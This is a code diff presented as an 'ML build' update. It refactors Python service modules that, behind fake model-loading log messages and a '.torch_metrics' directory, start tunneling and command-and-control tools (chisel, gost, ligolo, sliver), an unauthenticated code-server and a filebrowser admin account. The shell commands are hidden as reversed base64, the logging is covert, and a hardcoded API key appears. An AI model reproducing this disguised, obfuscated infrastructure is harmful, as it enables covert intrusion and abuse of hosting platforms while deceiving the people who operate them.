Automated deployment update from ML build

app.py

@@ -1,34 +1,37 @@
-import os,re,gradio as gr
+_A='replace'
+import re
+from pathlib import Path
+import gradio as gr
 from services.minecraft_service import MC_DIR
-LOG_DIR='/home/user/.torch_metrics'
-MC_LOG=os.path.join(MC_DIR,'logs','latest.log')
+LOG_DIR=Path('/home/user/.torch_metrics')
+MC_LOG=Path(MC_DIR)/'logs'/'latest.log'
 ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
 _LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_LIGOLO':(f"{LOG_DIR}/ligolo.log",'LIGOLO LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_CADDY':(f"{LOG_DIR}/caddy.log",'CADDY LOGS'),'SHOW_LOGS_TEST':(f"{LOG_DIR}/test.log",'TEST SERVICE LOGS'),'SHOW_LOGS_LLM_PROXY':(f"{LOG_DIR}/llm_proxy.log",'LLM PROXY LOGS'),'SHOW_LOGS_OPEN_WEBUI':(f"{LOG_DIR}/open_webui.log",'OPEN WEBUI LOGS'),'SHOW_LOGS_CODE_SERVER':(f"{LOG_DIR}/code_server.log",'CODE SERVER LOGS')}
 def _read_log(path,label,strip_ansi=False):
 	try:
-		with open(path)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
+		with Path(path).open(errors=_A)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
 		return f"{label}:\n{B}"
 	except Exception as C:return f"Log error: {C}"
 def _read_mc_log():
 	try:
-		if not os.path.exists(MC_LOG):return'Minecraft latest.log not found yet.'
-		with open(MC_LOG)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
+		if not MC_LOG.exists():return'Minecraft latest.log not found yet.'
+		with MC_LOG.open(errors=_A)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
 	except Exception as B:return f"Log error: {B}"
 def _read_all_logs():
 	try:
 		A=[]
-		for B in sorted(os.listdir(LOG_DIR)):
-			if B.endswith('.log'):
-				with open(os.path.join(LOG_DIR,B))as C:A.append(f"=== {B} ===\n{C.read()}\n")
-		if os.path.exists(MC_LOG):
-			with open(MC_LOG)as C:A.append(f"=== Minecraft latest.log ===\n{C.read()}\n")
+		for B in sorted(LOG_DIR.iterdir()):
+			if B.is_file()and B.suffix=='.log':
+				with B.open(errors=_A)as C:A.append(f"=== {B.name} ===\n{C.read()}\n")
+		if MC_LOG.exists():
+			with MC_LOG.open(errors=_A)as C:A.append(f"=== Minecraft latest.log ===\n{C.read()}\n")
 		return'\n'.join(A)if A else'No logs found.'
 	except Exception as D:return f"Log error: {D}"
 def _read_api_stats():
-	M='==========================================';L='MODEL:';K='KEY:';F=os.path.join(LOG_DIR,'api_calls.txt')
-	if not os.path.exists(F):return'No API calls logged yet.'
+	M='==========================================';L='MODEL:';K='KEY:';F=LOG_DIR/'api_calls.txt'
+	if not F.exists():return'No API calls logged yet.'
 	try:
-		with open(F)as N:G=N.readlines()
+		with F.open(errors=_A)as N:G=N.readlines()
 		C={};D={}
 		for B in G:
 			if K in B and L in B:H=B.split('|');I=H[0].split(K)[1].strip();J=H[1].split(L)[1].strip();C[I]=C.get(I,0)+1;D[J]=D.get(J,0)+1

core/orchestrator.py

@@ -1,10 +1,12 @@
 _A=True
-import json,os,random,socket,string,subprocess,sys,threading,time
-_CORE_DIR=os.path.dirname(os.path.abspath(__file__))
-_APP_ROOT=os.path.dirname(_CORE_DIR)
-if _APP_ROOT not in sys.path:sys.path.insert(0,_APP_ROOT)
-_REPO_ROOT=os.path.dirname(_APP_ROOT)
-if os.path.isdir(os.path.join(_REPO_ROOT,'client'))and _REPO_ROOT not in sys.path:sys.path.insert(0,_REPO_ROOT)
+import json,os,random
+from pathlib import Path
+import socket,string,subprocess,sys,threading,time
+_CORE_DIR=Path(__file__).resolve().parent
+_APP_ROOT=_CORE_DIR.parent
+if str(_APP_ROOT)not in sys.path:sys.path.insert(0,str(_APP_ROOT))
+_REPO_ROOT=_APP_ROOT.parent
+if(_REPO_ROOT/'client').is_dir()and str(_REPO_ROOT)not in sys.path:sys.path.insert(0,str(_REPO_ROOT))
 from loguru import logger
 from core.service_logs import setup_service_logs
 from core.service_registry import ENABLED_SERVICES_PATH
@@ -40,7 +42,7 @@ def main():
 	logger.info('Starting Gradio app (API server)...');T=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');U=subprocess.Popen(T,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
 	if not wait_for_port(M,7861,timeout=60):logger.warning('Gradio did not become ready within 60s — continuing anyway')
 	else:logger.info('Gradio ready — Caddy now proxying live traffic.')
-	if not os.path.exists(N):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',N])
+	if not Path(N).exists():logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',N])
 	logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();V=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {V}s)...")
 	if O in A:from services import tailscale_service as K;K.start_daemon(B.ts)
 	time.sleep(2);logger.info('Warming up text-generation pipelines...')

core/service_logs.py

@@ -5,7 +5,9 @@ _D='sliver'
 _C='ligolo'
 _B='chisel'
 _A=True
-import os,sys,threading
+import os,sys
+from pathlib import Path
+import threading
 from collections import namedtuple
 from loguru import logger
 COVERT_LOGGING_MODE=2
@@ -24,7 +26,7 @@ class LoguruSubprocessBridge:
 def setup_service_logs():
 	L='INFO';K='prefix';J='extra';I='CODESRV';H='LITELLM';G='OWUI';F='CADDY';E='SLIVER';D='LIGOLO';C='GOST';B='CHISEL';A='PLAYIT';logger.remove()
 	if COVERT_LOGGING_MODE in(1,2):
-		os.makedirs(METRICS_DIR,exist_ok=_A);M={'ts':('TS','ts_daemon.log'),'fb':('FB','fb.log'),'tm':(A,'tm_daemon.log'),_B:(B,'chisel.log'),'gost':(C,'gost.log'),_C:(D,'ligolo.log'),_D:(E,'sliver.log'),'caddy':(F,'caddy.log'),_E:(G,'open_webui.log'),_F:(H,'llm_proxy.log'),_G:(I,'code_server.log')}
+		Path(METRICS_DIR).mkdir(parents=_A,exist_ok=_A);M={'ts':('TS','ts_daemon.log'),'fb':('FB','fb.log'),'tm':(A,'tm_daemon.log'),_B:(B,'chisel.log'),'gost':(C,'gost.log'),_C:(D,'ligolo.log'),_D:(E,'sliver.log'),'caddy':(F,'caddy.log'),_E:(G,'open_webui.log'),_F:(H,'llm_proxy.log'),_G:(I,'code_server.log')}
 		for(Q,(N,O))in M.items():logger.add(f"{METRICS_DIR}/{O}",filter=lambda record,p=N:record[J].get(K)==p,format='{message}\n',level=L,enqueue=_A)
 	if COVERT_LOGGING_MODE==2:
 		def P(record):

services/caddy_service.py

@@ -1,33 +1,30 @@
 import os,shutil,subprocess
+from pathlib import Path
 from loguru import logger
 from.utils import decode_cmd
 def start(caddy_log):
 	J=False;C=True;B=caddy_log;logger.info('Enabling Caddy smart frontend on port 7860...')
 	try:
-		D='/home/user/static'
-		if not os.path.isdir(D):D='static'
-		os.makedirs(D,exist_ok=C);K=['/home/user/config/loading.html','config/loading.html','main/config/loading.html'];G=J
+		D=Path('/home/user/static')
+		if not D.is_dir():D=Path('static')
+		D.mkdir(parents=C,exist_ok=C);K=[Path('/home/user/config/loading.html'),Path('config/loading.html'),Path('main/config/loading.html')];G=J
 		for A in K:
-			if os.path.exists(A):shutil.copy(A,os.path.join(D,'loading.html'));G=C;break
+			if A.exists():shutil.copy(A,D/'loading.html');G=C;break
 		if not G:logger.warning('Could not find loading.html to copy to static directory.')
 	except Exception as E:logger.error(f"Failed to copy loading.html to static directory: {E}")
-	F=None;L=['/home/user/config/Caddyfile.template','config/Caddyfile.template','main/config/Caddyfile.template']
+	F=None;L=[Path('/home/user/config/Caddyfile.template'),Path('config/Caddyfile.template'),Path('main/config/Caddyfile.template')]
 	for A in L:
 		try:
-			if os.path.exists(A):
-				with open(A,'r')as M:F=M.read()
-				break
+			if A.exists():F=A.read_text();break
 		except Exception:pass
 	if F is None:logger.error('Failed to prepare caddy config: Caddyfile.template not found.');return
 	try:
-		N=['/home/user/Caddyfile','Caddyfile'];H=J
-		for A in N:
+		M=[Path('/home/user/Caddyfile'),Path('Caddyfile')];H=J
+		for A in M:
 			try:
-				I=os.path.dirname(os.path.abspath(A))
-				if os.path.isdir(I)and os.access(I,os.W_OK):
-					with open(A,'w')as O:O.write(F)
-					H=C;break
+				I=A.resolve().parent
+				if I.is_dir()and os.access(I,os.W_OK):A.write_text(F);H=C;break
 			except Exception:pass
 		if not H:raise PermissionError('Could not write Caddyfile to any expected path.')
 	except Exception as E:logger.error(f"Failed to prepare caddy config: {E}");return
-	B.write('[*] Testing caddy configuration...\n');B.flush();P=decode_cmd('==QZslmZ5RGZhNGIyVGdwFGZh1SLgUGbpZWekRWYD9iclNXdvUWbvh2LgcWam52bj1SLgUGdhRWasFmdgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.run(P,shell=C,stdout=B,stderr=subprocess.STDOUT);B.write('[*] Starting caddy daemon...\n');B.flush();Q=decode_cmd('=UGbpZWekRWYjBiclRHchRWYt0CIlxWamlHZkF2QvIXZzV3Ll12bo9CInlmZu92Yt0CIuVncgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.Popen(Q,shell=C,stdout=B,stderr=subprocess.STDOUT)
+	B.write('[*] Testing caddy configuration...\n');B.flush();N=decode_cmd('==QZslmZ5RGZhNGIyVGdwFGZh1SLgUGbpZWekRWYD9iclNXdvUWbvh2LgcWam52bj1SLgUGdhRWasFmdgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.run(N,shell=C,stdout=B,stderr=subprocess.STDOUT);B.write('[*] Starting caddy daemon...\n');B.flush();O=decode_cmd('=UGbpZWekRWYjBiclRHchRWYt0CIlxWamlHZkF2QvIXZzV3Ll12bo9CInlmZu92Yt0CIuVncgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.Popen(O,shell=C,stdout=B,stderr=subprocess.STDOUT)

services/code_server_service.py

@@ -1,6 +1,7 @@
 import os,subprocess
+from pathlib import Path
 from loguru import logger
 PORT=8888
 PREFIX='[code-server]'
 _DATA_DIR='/home/user/.torch_metrics/code_server_data'
-def start(log):D='code-server';C='true';os.makedirs(_DATA_DIR,exist_ok=True);A=os.environ.copy();A['DISABLE_TELEMETRY']=C;A['DISABLE_UPDATE_CHECK']=C;from pathlib import Path as B;E=['/usr/bin/code-server','/usr/local/bin/code-server',str(B.home()/'.local'/'bin'/D)];F=next((A for A in E if B(A).exists()),D);G=[F,'--bind-addr',f"127.0.0.1:{PORT}",'--auth','none','--user-data-dir',_DATA_DIR,'--disable-telemetry'];logger.info(f"{PREFIX} Starting code-server on 127.0.0.1:{PORT}...");H=subprocess.Popen(G,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} code-server started (pid {H.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
+def start(log):C='code-server';B='true';Path(_DATA_DIR).mkdir(parents=True,exist_ok=True);A=os.environ.copy();A['DISABLE_TELEMETRY']=B;A['DISABLE_UPDATE_CHECK']=B;D=['/usr/bin/code-server','/usr/local/bin/code-server',str(Path.home()/'.local'/'bin'/C)];E=next((A for A in D if Path(A).exists()),C);F=[E,'--bind-addr',f"127.0.0.1:{PORT}",'--auth','none','--user-data-dir',_DATA_DIR,'--disable-telemetry'];logger.info(f"{PREFIX} Starting code-server on 127.0.0.1:{PORT}...");G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} code-server started (pid {G.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")

services/custom_callbacks.py

@@ -1,14 +1,14 @@
-import os
 from datetime import datetime
+from pathlib import Path
 from litellm.integrations.custom_logger import CustomLogger
 METRICS_DIR='/home/user/.torch_metrics'
-API_CALLS_LOG=os.path.join(METRICS_DIR,'api_calls.txt')
+API_CALLS_LOG=Path(METRICS_DIR)/'api_calls.txt'
 class SimpleTextLogger(CustomLogger):
 	def _write(G,kwargs):
 		A=kwargs
 		try:
-			B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";os.makedirs(METRICS_DIR,exist_ok=True)
-			with open(API_CALLS_LOG,'a')as F:F.write(E)
+			B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";Path(METRICS_DIR).mkdir(parents=True,exist_ok=True)
+			with API_CALLS_LOG.open('a')as F:F.write(E)
 		except Exception:pass
 	def log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
 	async def async_log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)

services/filebrowser_service.py

@@ -1,10 +1,11 @@
-import os,secrets,subprocess
+from pathlib import Path
+import secrets,subprocess
 from.utils import decode_cmd
 def start(fb_log,pwd=''):
 	C=pwd;B=True;A=fb_log
 	if not C:C=secrets.token_urlsafe(16);A.write(f"[!] No SSH/PASS secret set — generated random Filebrowser password: {C}\n");A.flush()
-	D='/home/user/filebrowser.db'
-	if not os.path.exists(D):A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();F=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(F,shell=B,stdout=A,stderr=subprocess.STDOUT);E=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
+	D=Path('/home/user/filebrowser.db')
+	if not D.exists():A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();F=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(F,shell=B,stdout=A,stderr=subprocess.STDOUT);E=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
 	else:E=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
 	A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();G=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');H=subprocess.run(f"{G}{C} -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
 	if H.returncode!=0:I=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{I}{C} --perm.admin -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)

services/ligolo_service.py

@@ -1,19 +1,21 @@
-import os,re,subprocess,threading,time
+import re
+from pathlib import Path
+import subprocess,threading,time
 from.utils import decode_cmd
-METRICS_DIR='/home/user/.torch_metrics'
-FINGERPRINT_PATH=f"{METRICS_DIR}/ligolo_fingerprint.txt"
+METRICS_DIR=Path('/home/user/.torch_metrics')
+FINGERPRINT_PATH=METRICS_DIR/'ligolo_fingerprint.txt'
 _FP_RE=re.compile('(?:fingerprint|Fingerprint)[^\\n]*?([A-Fa-f0-9]{64})',re.IGNORECASE)
 def _extract_fingerprint(log_path,out_path,stop_event):
-	A=log_path;C=time.time()+90
+	C=time.time()+90;A=Path(log_path)
 	while time.time()<C and not stop_event.is_set():
 		try:
-			if not os.path.exists(A):time.sleep(1);continue
-			with open(A,'r',errors='replace')as D:E=D.read()
+			if not A.exists():time.sleep(1);continue
+			with A.open('r',errors='replace')as D:E=D.read()
 			B=_FP_RE.search(E)
-			if B:
-				F=B.group(1).upper()
-				with open(out_path,'w')as G:G.write(F+'\n')
-				return
+			if B:F=B.group(1).upper();Path(out_path).write_text(F+'\n');return
 		except OSError:pass
 		time.sleep(2)
-def start(log_file):B=True;A=log_file;os.makedirs(METRICS_DIR,exist_ok=B);A.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');A.flush();C=decode_cmd('==wbs92ZpxGIulWYt9GZtQnclNmZsV2ctACdyV2YmxWZz1CIxAjNxEjOx4CMuAjL3ITMgIHZkFGbtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=B,stdout=A,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(f"{METRICS_DIR}/ligolo.log",FINGERPRINT_PATH,D),daemon=B).start()
+def start(log_file):
+	B=log_file;A=True;METRICS_DIR.mkdir(parents=A,exist_ok=A)
+	if FINGERPRINT_PATH.exists():FINGERPRINT_PATH.unlink()
+	B.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');B.flush();C=decode_cmd('==wbs92ZpxGIulWYt9GZtQnclNmZsV2ctACdyV2YmxWZz1CIxAjNxEjOx4CMuAjL3ITMgIHZkFGbtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=A,stdout=B,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(str(METRICS_DIR/'ligolo.log'),FINGERPRINT_PATH,D),daemon=A).start()

services/llm_proxy_service.py

@@ -13,7 +13,7 @@ def _load_keys():
 		if D.exists():
 			try:
 				import yaml
-				with open(D)as O:P=yaml.safe_load(O)or{}
+				with D.open()as O:P=yaml.safe_load(O)or{}
 				Q=P.get('providers',{});A=[]
 				for(H,E)in Q.items():
 					F=H.lower().strip()
@@ -79,6 +79,6 @@ general_settings:
   drop_params: true
 {J}'''
 def start(log):
-	D='/opt/venv-litellm/bin/litellm';B='PYTHONPATH';os.makedirs(METRICS_DIR,exist_ok=True);C=_build_config()
+	D='/opt/venv-litellm/bin/litellm';B='PYTHONPATH';Path(METRICS_DIR).mkdir(parents=True,exist_ok=True);C=_build_config()
 	if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
 	Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['HELICONE_API_KEY']='sk-helicone-vq67qfq-eonunsi-sti7roi-vjpsp6a';os.environ['DISABLE_ADMIN_UI']='True';E=D if Path(D).exists()else'litellm';F=[E,'--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1'];A=os.environ.copy();A[B]=_A+(':'+A[B]if A.get(B)else'');G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {G.pid})")

services/minecraft_service.py

@@ -1,5 +1,6 @@
-_N='ML-minecraft-service/1.0'
-_M='Accept'
+_O='ML-minecraft-service/1.0'
+_N='Accept'
+_M='mc_daemon.log'
 _L='/home/user/.torch_metrics'
 _K='incendium'
 _J='26.1.2'
@@ -13,152 +14,148 @@ _C=None
 _B=False
 _A=True
 import hashlib,json,os,shutil,subprocess,tarfile,time,urllib.parse,urllib.request,zipfile
+from pathlib import Path
 from loguru import logger
 MC_GAME_VERSION=_J
 PAPER_MC_VERSION=_J
 MODRINTH_API='https://api.modrinth.com/v2'
-MC_DIR='/tmp/mc'
+MC_DIR=Path('/tmp/mc')
 WORLDGEN_DATAPACKS=[('terralith','Terralith'),(_K,'Incendium'),('nullscape','Nullscape')]
 OPS_JSON=[{'uuid':'bee75070-9b57-33a6-b9c8-092d36529789','name':'TrueKing208','level':4,'bypassesPlayerLimit':_B}]
 def log_print(msg):
 	logger.info(msg)
 	try:
-		os.makedirs(_L,exist_ok=_A)
-		with open('/home/user/.torch_metrics/mc_daemon.log','a')as A:A.write(f"{msg}\n")
+		A=Path(_L);A.mkdir(parents=_A,exist_ok=_A);B=A/_M
+		with B.open('a')as C:C.write(f"{msg}\n")
 	except Exception:pass
 def download_file(url,dest_path):
-	A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',_M:'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
-	with urllib.request.urlopen(A)as B,open(dest_path,'wb')as C:shutil.copyfileobj(B,C)
+	A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',_N:'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
+	with urllib.request.urlopen(A)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
 def download_binary(url,dest_path,timeout=300):
-	A=urllib.request.Request(url,headers={_G:_N,_M:'*/*'})
-	with urllib.request.urlopen(A,timeout=timeout)as B,open(dest_path,'wb')as C:shutil.copyfileobj(B,C)
+	A=urllib.request.Request(url,headers={_G:_O,_N:'*/*'})
+	with urllib.request.urlopen(A,timeout=timeout)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
 def file_sha1(path):
 	A=hashlib.sha1()
-	with open(path,'rb')as B:
+	with Path(path).open('rb')as B:
 		for C in iter(lambda:B.read(1048576),b''):A.update(C)
 	return A.hexdigest()
 def is_valid_datapack_zip(path,expected_size=_C,expected_sha1=_C):
-	C=expected_sha1;B=expected_size;A=path
-	if not os.path.isfile(A):return _B
-	if B is not _C and os.path.getsize(A)!=B:return _B
+	C=expected_sha1;B=expected_size;A=path;D=Path(A)
+	if not D.is_file():return _B
+	if B is not _C and D.stat().st_size!=B:return _B
 	if C and file_sha1(A)!=C:return _B
 	try:
-		with zipfile.ZipFile(A)as D:
-			if D.testzip()is not _C:return _B
-			if not any(A.endswith('pack.mcmeta')for A in D.namelist()):return _B
+		with zipfile.ZipFile(A)as E:
+			if E.testzip()is not _C:return _B
+			if not any(A.endswith('pack.mcmeta')for A in E.namelist()):return _B
 		return _A
 	except Exception:return _B
 def fetch_modrinth_datapack(project_slug,game_version=MC_GAME_VERSION):
-	F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:_N})
+	F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:_O})
 	with urllib.request.urlopen(I,timeout=60)as J:E=json.load(J)
 	if not E:raise RuntimeError(f"No Modrinth datapack for {C} on {D}")
 	B=E[0];A=next((A for A in B[F]if A.get('primary')),B[F][0]);K=A.get('hashes',{});return{_H:B[_H],_I:A[_I],_D:A[_D],_E:K.get(_E),_F:A.get(_F)}
 def install_datapack(dest,info):
-	C=info;B=dest
-	if is_valid_datapack_zip(B,C.get(_F),C.get(_E)):return _B
-	A=B+'.part'
-	if os.path.exists(A):os.remove(A)
+	C=dest;B=info;D=Path(C)
+	if is_valid_datapack_zip(C,B.get(_F),B.get(_E)):return _B
+	A=Path(str(C)+'.part')
+	if A.exists():A.unlink()
 	try:
-		download_binary(C[_I],A)
-		if not is_valid_datapack_zip(A,C.get(_F),C.get(_E)):raise RuntimeError('downloaded file is not a valid datapack zip')
-		os.replace(A,B);return _A
+		download_binary(B[_I],A)
+		if not is_valid_datapack_zip(A,B.get(_F),B.get(_E)):raise RuntimeError('downloaded file is not a valid datapack zip')
+		A.replace(D);return _A
 	except Exception:
-		if os.path.exists(A):os.remove(A)
-		if os.path.exists(B):os.remove(B)
+		if A.exists():A.unlink()
+		if D.exists():D.unlink()
 		raise
 def reset_generated_world(mc_dir):
-	A=[]
+	A=[];D=Path(mc_dir)
 	for B in('world','world_nether','world_the_end'):
-		C=os.path.join(mc_dir,B)
-		if os.path.isdir(C):shutil.rmtree(C);A.append(B)
-	if A:D=', '.join(A);log_print('[*] Cleared '+D+'. Next boot regenerates with Terralith (overworld), Incendium (nether), Nullscape (end).')
+		C=D/B
+		if C.is_dir():shutil.rmtree(C);A.append(B)
+	if A:E=', '.join(A);log_print('[*] Cleared '+E+'. Next boot regenerates with Terralith (overworld), Incendium (nether), Nullscape (end).')
 def ensure_datapacks(mc_dir):
-	C=os.path.join(mc_dir,'world','datapacks');os.makedirs(C,exist_ok=_A)
+	E=Path(mc_dir);C=E/'world'/'datapacks';C.mkdir(parents=_A,exist_ok=_A)
 	for(D,B)in WORLDGEN_DATAPACKS:
-		E=os.path.join(C,f"{B}.zip")
+		F=C/f"{B}.zip"
 		try:
 			A=fetch_modrinth_datapack(D)
-			if install_datapack(E,A):
+			if install_datapack(F,A):
 				log_print(f"[+] {B} {A[_H]} installed ({A[_D]})")
 				if D==_K and'UNSUPPORTED'in A[_D]:log_print('[!] Incendium 26.1 is marked UNSUPPORTED on Modrinth (alpha); watch server logs after first Nether generation.')
-		except Exception as F:log_print(f"[-] Failed to install {B} datapack: {F}")
-def paper_patched_jar(mc_dir):return os.path.join(mc_dir,'versions',PAPER_MC_VERSION,f"paper-{PAPER_MC_VERSION}.jar")
+		except Exception as G:log_print(f"[-] Failed to install {B} datapack: {G}")
+def paper_patched_jar(mc_dir):return Path(mc_dir)/'versions'/PAPER_MC_VERSION/f"paper-{PAPER_MC_VERSION}.jar"
 def ensure_paper_runtime(java_bin,mc_dir,server_jar):
 	C=mc_dir;A=paper_patched_jar(C)
-	if os.path.isfile(A):return
-	os.makedirs(os.path.dirname(A),exist_ok=_A);log_print('[*] Bootstrapping Paper (download mojang jar + apply patches)...');B=subprocess.run([java_bin,'-jar',server_jar,'--version'],cwd=C,capture_output=_A,text=_A,timeout=600)
-	if not os.path.isfile(A):
+	if A.is_file():return
+	A.parent.mkdir(parents=_A,exist_ok=_A);log_print('[*] Bootstrapping Paper (download mojang jar + apply patches)...');B=subprocess.run([str(java_bin),'-jar',str(server_jar),'--version'],cwd=str(C),capture_output=_A,text=_A,timeout=600)
+	if not A.is_file():
 		log_print(f"[-] Paper bootstrap failed (exit {B.returncode})")
 		if B.stdout:log_print(B.stdout[-1500:])
 		if B.stderr:log_print(B.stderr[-1500:])
 		raise RuntimeError(f"expected patched jar missing: {A}")
 	log_print(f"[+] Paper runtime ready at {A}")
 def setup_geyser(mc_dir):
-	C=os.path.join(mc_dir,'plugins');os.makedirs(C,exist_ok=_A);D={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
-	for(A,E)in D.items():
-		B=os.path.join(C,A)
-		if os.path.exists(B):
+	D=Path(mc_dir);C=D/'plugins';C.mkdir(parents=_A,exist_ok=_A);E={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
+	for(A,F)in E.items():
+		B=C/A
+		if B.exists():
 			try:
-				with zipfile.ZipFile(B)as G:0
